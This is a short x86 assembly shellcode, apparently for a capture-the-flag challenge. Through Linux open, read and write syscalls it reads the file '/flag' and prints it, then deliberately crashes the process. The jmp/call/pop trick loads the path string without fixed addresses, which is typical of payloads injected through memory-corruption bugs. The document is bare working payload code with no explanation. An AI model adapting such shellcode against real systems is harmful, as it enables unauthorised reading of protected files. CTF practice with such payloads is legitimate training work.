test: xor %eax,%eax xor %ecx,%ecx cltd jmp loadstring filename: pop %ebx mov $0x5,%al int $0x80 mov %eax,%ebx mov %esp,%ecx mov $0x40,%dl mov $0x3,%al int $0x80 push $0x1 pop %ebx push $0x4 pop %eax int $0x80 # Segfault and kill the process. ret loadstring: call filename .ascii "/flag\0" .global main main: call test